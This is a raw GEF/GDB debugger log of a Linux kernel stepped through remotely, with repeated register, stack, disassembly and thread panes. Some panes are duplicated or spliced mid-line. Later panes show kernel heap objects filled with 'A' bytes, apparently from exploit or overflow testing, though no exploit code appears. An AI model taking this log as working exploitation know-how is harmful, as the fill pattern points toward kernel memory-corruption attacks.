0xffffffff8136a902 test al, 0x1
0xffffffff8136a904 jne 0xffffffff8136aa11
0xffffffff8136a90a mov rbx, QWORD PTR [rip+0x2216037] # 0xffffffff83580948
β 0xffffffff8136a911 mov r12, QWORD PTR [rip+0x169f0a8] # 0xffffffff82a099c0
[ Legend: Modified register | Code | Heap | Stack | String ]
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ registers ββββ
$rax : 0x24808
$rbx : 0x26b1199100
$rcx : 0x0
$rdx : 0x24802
$rsp : 0xffffc900000b3e70 β 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?)
$rbp : 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?)
$rsi : 0x3
$rdi : 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?)
$rip : 0xffffffff8136a918 β mov edx, DWORD PTR [rip+0x169f122] # 0xffffffff82a09a40
$r8 : 0x3667e6c
$r9 : 0x32b
$r10 : 0x5b
$r11 : 0x0
$r12 : 0xfffdf526
$r13 : 0x3
$r14 : 0x0
$r15 : 0x0
$eflags: [ZERO carry PARITY adjust sign trap interrupt direction overflow resume virtualx86 identification]
$cs: 0x10 $ss: 0x18 $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββ
0xffffc900000b3e70β+0x0000: 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?) β $rsp
0xffffc900000b3e78β+0x0008: 0xffff8881b8893000
0xffffc900000b3e80β+0x0010: 0x0000000000000003
0xffffc900000b3e88β+0x0018: 0x0000000000000000
0xffffc900000b3e90β+0x0020: 0xffffffff8136acf8 β mov r15, rax
0xffffc900000b3e98β+0x0028: 0x0000000000000003
0xffffc900000b3ea0β+0x0030: 0xffffffff8282b36b β 0x706d614c00646e45 ("End"?)
0xffffc900000b3ea8β+0x0038: 0x0000000003667a44
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ code:x86:64 ββββ
0xffffffff8136a904 jne 0xffffffff8136aa11
0xffffffff8136a90a mov rbx, QWORD PTR [rip+0x2216037] # 0xffffffff83580948
0xffffffff8136a911 mov r12, QWORD PTR [rip+0x169f0a8] # 0xffffffff82a099c0
β 0xffffffff8136a918 mov edx, DWORD PTR [rip+0x169f122] # 0xffffffff82a09a40
[ Legend: Modified register | Code | Heap | Stack | String ]
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ registers ββββ
$rax : 0x24808
$rbx : 0x26b1199100
$rcx : 0x0
$rdx : 0x24802
$rsp : 0xffffc900000b3e70 β 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?)
$rbp : 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?)
$rsi : 0x3
$rdi : 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?)
$rip : 0xffffffff8136a918 β mov edx, DWORD PTR [rip+0x169f122] # 0xffffffff82a09a40
$r8 : 0x3667e6c
$r9 : 0x32b
$r10 : 0x5b
$r11 : 0x0
$r12 : 0xfffdf526
$r13 : 0x3
$r14 : 0x0
$r15 : 0x0
$eflags: [ZERO carry PARITY adjust sign trap interrupt direction overflow resume virtualx86 identification]
$cs: 0x10 $ss: 0x18 $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββ
0xffffc900000b3e70β+0x0000: 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?) β $rsp
0xffffc900000b3e78β+0x0008: 0xffff8881b8893000
0xffffc900000b3e80β+0x0010: 0x0000000000000003
0xffffc900000b3e88β+0x0018: 0x0000000000000000
0xffffc900000b3e90β+0x0020: 0xffffffff8136acf8 β mov r15, rax
0xffffc900000b3e98β+0x0028: 0x0000000000000003
0xffffc900000b3ea0β+0x0030: 0xffffffff8282b36b β 0x706d614c00646e45 ("End"?)
0xffffc900000b3ea8β+0x0038: 0x0000000003667a44
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ code:x86:64 ββββ
0xffffffff8136a904 jne 0xffffffff8136aa11
0xffffffff8136a90a mov rbx, QWORD PTR [rip+0x2216037] # 0xffffffff83580948
0xffffffff8136a911 mov r12, QWORD PTR [rip+0x169f0a8] # 0xffffffff82a099c0
β 0xffffffff8136a918 mov edx, DWORD PTR [rip+0x169f122] # 0xffffffff82a09a40
0xffffffff8136a91e cmp edx, eax
[ Legend: Modified register | Code | Heap | Stack | String ]
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ registers ββββ
$rax : 0x24808
$rbx : 0x26b1199100
$rcx : 0x0
$rdx : 0x24802
$rsp : 0xffffc900000b3e70 β 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?)
$rbp : 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?)
$rsi : 0x3
$rdi : 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?)
$rip : 0xffffffff8136a918 β mov edx, DWORD PTR [rip+0x169f122] # 0xffffffff82a09a40
$r8 : 0x3667e6c
$r9 : 0x32b
$r10 : 0x5b
$r11 : 0x0
$r12 : 0xfffdf526
$r13 : 0x3
$r14 : 0x0
$r15 : 0x0
$eflags: [ZERO carry PARITY adjust sign trap interrupt direction overflow resume virtualx86 identification]
$cs: 0x10 $ss: 0x18 $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββ
0xffffc900000b3e70β+0x0000: 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?) β $rsp
0xffffc900000b3e78β+0x0008: 0xffff8881b8893000
0xffffc900000b3e80β+0x0010: 0x0000000000000003
0xffffc900000b3e88β+0x0018: 0x0000000000000000
0xffffc900000b3e90β+0x0020: 0xffffffff8136acf8 β mov r15, rax
0xffffc900000b3e98β+0x0028: 0x0000000000000003
0xffffc900000b3ea0β+0x0030: 0xffffffff8282b36b β 0x706d614c00646e45 ("End"?)
0xffffc900000b3ea8β+0x0038: 0x0000000003667a44
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ code:x86:64 ββββ
0xffffffff8136a904 jne 0xffffffff8136aa11
0xffffffff8136a90a mov rbx, QWORD PTR [rip+0x2216037] # 0xffffffff83580948
0xffffffff8136a911 mov r12, QWORD PTR [rip+0x169f0a8] # 0xffffffff82a099c0
β 0xffffffff8136a918 mov edx, DWORD PTR [rip+0x169f122] # 0xffffffff82a09a40
0xffffffff8136a91e cmp edx, eax
0xffffffff8136a920 jne 0xffffffff8136a8fc
[ Legend: Modified register | Code | Heap | Stack | String ]
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ registers ββββ
$rax : 0x24808
$rbx : 0x26b1199100
$rcx : 0x0
$rdx : 0x2480e
$rsp : 0xffffc900000b3e70 β 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?)
$rbp : 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?)
$rsi : 0x3
$rdi : 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?)
$rip : 0xffffffff8136a8fc β mov eax, DWORD PTR [rip+0x169f13e] # 0xffffffff82a09a40
$r8 : 0x3667e6c
$r9 : 0x32b
$r10 : 0x5b
$r11 : 0x0
$r12 : 0xfffdf526
$r13 : 0x3
$r14 : 0x0
$r15 : 0x0
$eflags: [zero carry PARITY adjust sign trap interrupt direction overflow resume virtualx86 identification]
$cs: 0x10 $ss: 0x18 $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββ
0xffffc900000b3e70β+0x0000: 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?) β $rsp
0xffffc900000b3e78β+0x0008: 0xffff8881b8893000
0xffffc900000b3e80β+0x0010: 0x0000000000000003
0xffffc900000b3e88β+0x0018: 0x0000000000000000
0xffffc900000b3e90β+0x0020: 0xffffffff8136acf8 β mov r15, rax
0xffffc900000b3e98β+0x0028: 0x0000000000000003
0xffffc900000b3ea0β+0x0030: 0xffffffff8282b36b β 0x706d614c00646e45 ("End"?)
0xffffc900000b3ea8β+0x0038: 0x0000000003667a44
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ code:x86:64 ββββ
0xffffffff8136a8f7 push rbp
0xffffffff8136a8f8 mov rbp, rdi
0xffffffff8136a8fb push rbx
β 0xffffffff8136a8fc mov eax, DWORD PTR [rip+0x169f13e] # 0xffffffff82a09a40
0xffffffff8136a902 test al, 0x1
0xffffffff8136a904 jne 0xffffffff8136aa11
[ Legend: Modified register | Code | Heap | Stack | String ]
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ registers ββββ
$rax : 0x24808
$rbx : 0x26b1199100
$rcx : 0x0
$rdx : 0x2480e
$rsp : 0xffffc900000b3e70 β 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?)
$rbp : 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?)
$rsi : 0x3
$rdi : 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?)
$rip : 0xffffffff8136a8fc β mov eax, DWORD PTR [rip+0x169f13e] # 0xffffffff82a09a40
$r8 : 0x3667e6c
$r9 : 0x32b
$r10 : 0x5b
$r11 : 0x0
$r12 : 0xfffdf526
$r13 : 0x3
$r14 : 0x0
$r15 : 0x0
$eflags: [zero carry PARITY adjust sign trap interrupt direction overflow resume virtualx86 identification]
$cs: 0x10 $ss: 0x18 $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββ
0xffffc900000b3e70β+0x0000: 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?) β $rsp
0xffffc900000b3e78β+0x0008: 0xffff8881b8893000
0xffffc900000b3e80β+0x0010: 0x0000000000000003
0xffffc900000b3e88β+0x0018: 0x0000000000000000
0xffffc900000b3e90β+0x0020: 0xffffffff8136acf8 β mov r15, rax
0xffffc900000b3e98β+0x0028: 0x0000000000000003
0xffffc900000b3ea0β+0x0030: 0xffffffff8282b36b β 0x706d614c00646e45 ("End"?)
0xffffc900000b3ea8β+0x0038: 0x0000000003667a44
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ code:x86:64 ββββ
0xffffffff8136a8f7 push rbp
0xffffffff8136a8f8 mov rbp, rdi
0xffffffff8136a8fb push rbx
β 0xffffffff8136a8fc mov eax, DWORD PTR [rip+0x169f13e] # 0xffffffff82a09a40
0xffffffff8136a902 test al, 0x1
0xffffffff8136a904 jne 0xffffffff8136aa11
0xffffffff8136a90a mov rbx, QWORD PTR [rip+0x2216037] # 0xffffffff83580948 mov eax, DWORD PTR [rip+0x169f13e] # 0xffffffff82a09a40
$r8 : 0x3667e6c
$r9 : 0x32b
$r10 : 0x5b
$r11 : 0x0
$r12 : 0xfffdf526
$r13 : 0x3
$r14 : 0x0
$r15 : 0x0
$eflags: [zero carry PARITY adjust sign trap interrupt direction overflow resume virtualx86 identification]
$cs: 0x10 $ss: 0x18 $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββ
0xffffc900000b3e70β+0x0000: 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?) β $rsp
0xffffc900000b3e78β+0x0008: 0xffff8881b8893000
0xffffc900000b3e80β+0x0010: 0x0000000000000003
0xffffc900000b3e88β+0x0018: 0x0000000000000000
0xffffc900000b3e90β+0x0020: 0xffffffff8136acf8 β mov r15, rax
0xffffc900000b3e98β+0x0028: 0x0000000000000003
0xffffc900000b3ea0β+0x0030: 0xffffffff8282b36b β 0x706d614c00646e45 ("End"?)
0xffffc900000b3ea8β+0x0038: 0x0000000003667a44
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ code:x86:64 ββββ
0xffffffff8136a8f7 push rbp
0xffffffff8136a8f8 mov rbp, rdi
0xffffffff8136a8fb push rbx
β 0xffffffff8136a8fc mov eax, DWORD PTR [rip+0x169f13e] # 0xffffffff82a09a40
0xffffffff8136a902 test al, 0x1
0xffffffff8136a904 jne 0xffffffff8136aa11
0xffffffff8136a90a mov rbx, QWORD PTR [rip+0x2216037] # 0xffffffff83580948
[ Legend: Modified register | Code | Heap | Stack | String ]
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ registers ββββ
$rax : 0x24812
$rbx : 0x26b1199100
$rcx : 0x0
$rdx : 0x2480e
$rsp : 0xffffc900000b3e70 β 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?)
$rbp : 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?)
$rsi : 0x3
$rdi : 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?)
$rip : 0xffffffff8136a90a β mov rbx, QWORD PTR [rip+0x2216037] # 0xffffffff83580948
$r8 : 0x3667e6c
$r9 : 0x32b
$r10 : 0x5b
$r11 : 0x0
$r12 : 0xfffdf526
$r13 : 0x3
$r14 : 0x0
$r15 : 0x0
$eflags: [ZERO carry PARITY adjust sign trap interrupt direction overflow resume virtualx86 identification]
$cs: 0x10 $ss: 0x18 $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββ
0xffffc900000b3e70β+0x0000: 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?) β $rsp
0xffffc900000b3e78β+0x0008: 0xffff8881b8893000
0xffffc900000b3e80β+0x0010: 0x0000000000000003
0xffffc900000b3e88β+0x0018: 0x0000000000000000
0xffffc900000b3e90β+0x0020: 0xffffffff8136acf8 β mov r15, rax
0xffffc900000b3e98β+0x0028: 0x0000000000000003
0xffffc900000b3ea0β+0x0030: 0xffffffff8282b36b β 0x706d614c00646e45 ("End"?)
0xffffc900000b3ea8β+0x0038: 0x0000000003667a44
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ code:x86:64 ββββ
0xffffffff8136a8fc mov eax, DWORD PTR [rip+0x169f13e] # 0xffffffff82a09a40
0xffffffff8136a902 test al, 0x1
0xffffffff8136a904 jne 0xffffffff8136aa11
β 0xffffffff8136a90a mov rbx, QWORD PTR [rip+0x2216037] # 0xffffffff83580948
0xffffffff8136a911 mov r12, QWORD PTR [rip+0x169f0a8] # 0xffffffff82a099c0 mov r12, QWORD PTR [rip+0x169f0a8] # 0xffffffff82a099c0
$r8 : 0x3667e6c
$r9 : 0x32b
$r10 : 0x5b
$r11 : 0x0
$r12 : 0xfffdf526
$r13 : 0x3
$r14 : 0x0
$r15 : 0x0
$eflags: [ZERO carry PARITY adjust sign trap interrupt direction overflow resume virtualx86 identification]
$cs: 0x10 $ss: 0x18 $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββ
0xffffc900000b3e70β+0x0000: 0xffff88813bd9bc00 β 0x0000000000000035 ("5"?) β $rsp
0xffffc900000b3e78β+0x0008: 0xffff8881b8893000
0xffffc900000b3e80β+0x0010: 0x0000000000000003
0xffffc900000b3e88β+0x0018: 0x0000000000000000
0xffffc900000b3e90β+0x0020: 0xffffffff8136acf8 β mov r15, rax
0xffffc900000b3e98β+0x0028: 0x0000000000000003
0xffffc900000b3ea0β+0x0030: 0xffffffff8282b36b β 0x706d614c00646e45 ("End"?)
0xffffc900000b3ea8β+0x0038: 0x0000000003667a44
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ code:x86:64 ββββ
0xffffffff8136a902 test al, 0x1
0xffffffff8136a904 jne 0xffffffff8136aa11
0xffffffff8136a90a mov rbx, QWORD PTR [rip+0x2216037] # 0xffffffff83580948
β 0xffffffff8136a911 mov r12, QWORD PTR [rip+0x169f0a8] # 0xffffffff82a099c0
0xffffffff8136a918 mov edx, DWORD PTR [rip+0x169f122] # 0xffffffff82a09a40
0xffffffff8136a91e cmp edx, eax
0xffffffff8136a920 jne 0xffffffff8136a8fc
0xffffffff8136a922 mov QWORD PTR [rbp+0x88], r12
0xffffffff8136a929 mov QWORD PTR [rbp+0x90], rbx
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ source:kernel/time/tick-sched.c+875 ββββ
870 u64 basemono;
871
872 do {
873 seq = read_seqcount_begin(&jiffies_seq);
874 basemono = last_jiffies_update;
β 875 basejiff = jiffies;
876 } while (read_seqcount_retry(&jiffies_seq, seq));
877 *basej = basejiff;
878 return basemono;
879 }
880
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ threads ββββ
[#0] Id 1, stopped 0xffffffff81001470 in asm_sysvec_apic_timer_interrupt (), reason: SINGLE STEP
[#1] Id 2, stopped 0xffffffff821b467f in virt_spin_lock (), reason: SINGLE STEP
[#2] Id 3, stopped 0xffffffff818969a6 in io_serial_out (), reason: SINGLE STEP
[#3] Id 4, stopped 0xffffffff8136a911 in get_jiffies_update (), reason: SINGLE STEP
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ trace ββββ
[#0] 0xffffffff8136a911 β get_jiffies_update(basej=)
[#1] 0xffffffff8136a911 β tick_nohz_next_event(ts=0xffff88813bd9bc00, cpu=0x3)
[#2] 0xffffffff8136acf8 β tick_nohz_idle_stop_tick()
[#3] 0xffffffff812e92c7 β cpuidle_idle_call()
[#4] 0xffffffff812e92c7 β do_idle()
[#5] 0xffffffff812e9534 β cpu_startup_entry(state=CPUHP_AP_ONLINE_IDLE)
[#6] 0xffffffff81263cd3 β start_secondary(unused=)
[#7] 0xffffffff8122f946 β secondary_startup_64()
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
(remote) gefβ€ Quit
(remote) gefβ€ c
Continuing.
^C^C
[ Legend: Modified register | Code | Heap | Stack | String ]
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ registers ββββ
$rax : 0xffff8881b8713000
$rbx : 0xffffffff82a0e900 β 0x0000000000004000
$rcx : 0x0
$rdx : 0x0
$rsp : 0xffffffff82a03e88 β 0xffffffff821a9a89 β nop
$rbp : 0x0
$rsi : 0xffffffff8282b36b β 0x706d614c00646e45 ("End"?)
$rdi : 0x308e4c
$rip : 0xffffffff821a82cf β jmp 0xffffffff821b5720
$r8 : 0x308e4c
$r9 : 0x2fe
$r10 : 0x0
$r11 : 0x1
$r12 : 0x0
$r13 : 0x0
$r14 : 0xffffffff82a0e030 β 0x0000000000000000
$r15 : 0x14770
$eflags: [zero carry parity ADJUST sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x10 $ss: 0x18 $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββ
0xffffffff82a03e88β+0x0000: 0xffffffff821a9a89 β nop β $rsp
0xffffffff82a03e90β+0x0008: 0xffffffff821a9d32 β call 0xffffffff821a8d40
0xffffffff82a03e98β+0x0010: 0xffffffff812e92cc β jmp 0xffffffff812e91ff
0xffffffff82a03ea0β+0x0018: 0x0000000000000000
0xffffffff82a03ea8β+0x0020: 0xdc6969d0be3cd100
0xffffffff82a03eb0β+0x0028: 0x00000000000000ee
0xffffffff82a03eb8β+0x0030: 0x0000000000000009 ("\t"?)
0xffffffff82a03ec0β+0x0038: 0x0000000000000000
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ code:x86:64 ββββ
0xffffffff821a82c6 verw WORD PTR [rip+0x639c5] # 0xffffffff8220bc92
0xffffffff821a82cd sti
0xffffffff821a82ce hlt
β 0xffffffff821a82cf jmp 0xffffffff821b5720
0xffffffff821a82d4 cs nop WORD PTR [rax+rax*1+0x0]
0xffffffff821a82de xchg ax, ax
0xffffffff821a82e0 nop
0xffffffff821a82e1 nop
0xffffffff821a82e2 nop
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ source:arch/x86/kernel/paravirt.c+81 ββββ
76 }
77
78 static noinstr void pv_native_safe_halt(void)
79 {
80 native_safe_halt();
β 81 }
82
83 #ifdef CONFIG_PARAVIRT_XXL
84 static noinstr void pv_native_write_cr2(unsigned long val)
85 {
86 native_write_cr2(val);
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ threads ββββ
[#0] Id 1, stopped 0xffffffff821a82cf in pv_native_safe_halt (), reason: SIGTRAP
[#1] Id 2, stopped 0xffffffff821a1597 in __get_user_8 (), reason: SIGTRAP
[#2] Id 3, stopped 0xffffffff821afcdc in arch_atomic64_try_cmpxchg (), reason: SIGTRAP
[#3] Id 4, stopped 0xffffffff821a82cf in pv_native_safe_halt (), reason: SIGTRAP
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ trace ββββ
[#0] 0xffffffff821a82cf β pv_native_safe_halt()
[ Legend: Modified register | Code | Heap | Stack | String ]
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ registers ββββ
$rax : 0x1
$rbx : 0xffff88810b755800 β 0xffff888100babc00 β 0xffff88810422ac00 β 0xffff888100ba8400 β 0x0000000000000000
$rcx : 0x1ff
$rdx : 0x0
$rsp : 0xffffc90000177e30 β 0xffffffff81875a3d β nop DWORD PTR [rax]
$rbp : 0xffff8881011e0208 β 0xffff888100070605 β 0x810006fe00ffff88
$rsi : 0xffff88810b755821 β "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rdi : 0xffff8881011e0200 β 0xffff888100d32c00 β 0xffff888100baac00 β 0xffff888108915000 β 0xffff888108914400 β 0xffff888104251000 β 0xffff888108917800 β 0xffff888100bab800
$rip : 0xffffffff81876000 β endbr64
$r8 : 0x1
$r9 : 0xffffffff81876000 β endbr64
$r10 : 0xffff88810006fec0 β "events_unbound"
$r11 : 0xfefefefefefefeff
$r12 : 0x1ff
$r13 : 0xffff8881011e0228 β 0xffff888100a09040 β 0x0000000000004000
$r14 : 0xffff8881011e0200 β 0xffff888100d32c00 β 0xffff888100baac00 β 0xffff888108915000 β 0xffff888108914400 β 0xffff888104251000 β 0xffff888108917800 β 0xffff888100bab800
$r15 : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x10 $ss: 0x18 $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββ
0xffffc90000177e30β+0x0000: 0xffffffff81875a3d β nop DWORD PTR [rax] β $rsp
0xffffc90000177e38β+0x0008: 0xffff888100d32cde β "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffc90000177e40β+0x0010: 0xffff8881009fc000 β 0x0000000000000000
0xffffc90000177e48β+0x0018: 0xffff888100070600 β 0xffff888100060800 β 0xffffffff00000000
0xffffc90000177e50β+0x0020: 0xffff888100060800 β 0xffffffff00000000
0xffffc90000177e58β+0x0028: 0xffff8881011e0208 β 0xffff888100070605 β 0x810006fe00ffff88
0xffffc90000177e60β+0x0030: 0xffff888100070605 β 0x810006fe00ffff88
[ Legend: Modified register | Code | Heap | Stack | String ]
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ registers ββββ
$rax : 0x1
$rbx : 0xffff88810b755800 β 0xffff888100babc00 β 0xffff88810422ac00 β 0xffff888100ba8400 β 0x0000000000000000
$rcx : 0x1ff
$rdx : 0x0
$rsp : 0xffffc90000177e30 β 0xffffffff81875a3d β nop DWORD PTR [rax]
$rbp : 0xffff8881011e0208 β 0xffff888100070605 β 0x810006fe00ffff88
$rsi : 0xffff88810b755821 β "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rdi : 0xffff8881011e0200 β 0xffff888100d32c00 β 0xffff888100baac00 β 0xffff888108915000 β 0xffff888108914400 β 0xffff888104251000 β 0xffff888108917800 β 0xffff888100bab800
$rip : 0xffffffff81876004 β mov rdi, QWORD PTR [rdi+0x90]
$r8 : 0x1
$r9 : 0xffffffff81876000 β endbr64
$r10 : 0xffff88810006fec0 β "events_unbound"
$r11 : 0xfefefefefefefeff
$r12 : 0x1ff
$r13 : 0xffff8881011e0228 β 0xffff888100a09040 β 0x0000000000004000
$r14 : 0xffff8881011e0200 β 0xffff888100d32c00 β 0xffff888100baac00 β 0xffff888108915000 β 0xffff888108914400 β 0xffff888104251000 β 0xffff888108917800 β 0xffff888100bab800
$r15 : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x10 $ss: 0x18 $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββ
0xffffc90000177e30β+0x0000: 0xffffffff81875a3d β nop DWORD PTR [rax] β $rsp
0xffffc90000177e38β+0x0008: 0xffff888100d32cde β "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffc90000177e40β+0x0010: 0xffff8881009fc000 β 0x0000000000000000
0xffffc90000177e48β+0x0018: 0xffff888100070600 β 0xffff888100060800 β 0xffffffff00000000
0xffffc90000177e50β+0x0020: 0xffff888100060800 β 0xffffffff00000000
0xffffc90000177e58β+0x0028: 0xffff8881011e0208 β 0xffff888100070605 β 0x810006fe00ffff88
0xffffc90000177e60β+0x0030: 0xffff888100070605 β 0x810006fe00ffff88
[ Legend: Modified register | Code | Heap | Stack | String ]
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ registers ββββ
$rax : 0x1
$rbx : 0xffff88810b755800 β 0xffff888100babc00 β 0xffff88810422ac00 β 0xffff888100ba8400 β 0xffff88810b705800 β 0xffff888104253c00 β 0x0000000000000000
$rcx : 0x1ff
$rdx : 0x0
$rsp : 0xffffc90000177e30 β 0xffffffff81875a3d β nop DWORD PTR [rax]
$rbp : 0xffff8881011e0208 β 0xffff888100070605 β 0x810006fe00ffff88
$rsi : 0xffff88810b755821 β "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rdi : 0xffff888100d3f800 β 0x0000000000000002
$rip : 0xffffffff8187600b β test rdi, rdi
$r8 : 0x1
$r9 : 0xffffffff81876000 β endbr64
$r10 : 0xffff88810006fec0 β "events_unbound"
$r11 : 0xfefefefefefefeff
$r12 : 0x1ff
$r13 : 0xffff8881011e0228 β 0xffff888100a09040 β 0x0000000000004000
$r14 : 0xffff8881011e0200 β 0xffff888100d32c00 β 0xffff888100baac00 β 0xffff888108915000 β 0xffff888108914400 β 0xffff888104251000 β 0xffff888108917800 β 0xffff888100bab800
$r15 : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x10 $ss: 0x18 $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββ
0xffffc90000177e30β+0x0000: 0xffffffff81875a3d β nop DWORD PTR [rax] β $rsp
[ Legend: Modified register | Code | Heap | Stack | String ]
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ registers ββββ
$rax : 0x1
$rbx : 0xffff88810b755800 β 0xffff888100babc00 β 0xffff88810422ac00 β 0xffff888100ba8400 β 0xffff88810b705800 β 0xffff888104253c00 β 0xffff888100baa400 β 0xffff888104250000
$rcx : 0x1ff
$rdx : 0x0
$rsp : 0xffffc90000177e28 β 0xffff8881011e0228 β 0xffff888100a09040 β 0x0000000000004000
$rbp : 0xffff8881011e0208 β 0xffff888100070605 β 0x810006fe00ffff88
$rsi : 0xffff88810b755821 β "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rdi : 0xffff888100d3f800 β 0x0000000000000002
$rip : 0xffffffff81876015 β push r12
$r8 : 0x1
$r9 : 0xffffffff81876000 β endbr64
$r10 : 0xffff88810006fec0 β "events_unbound"
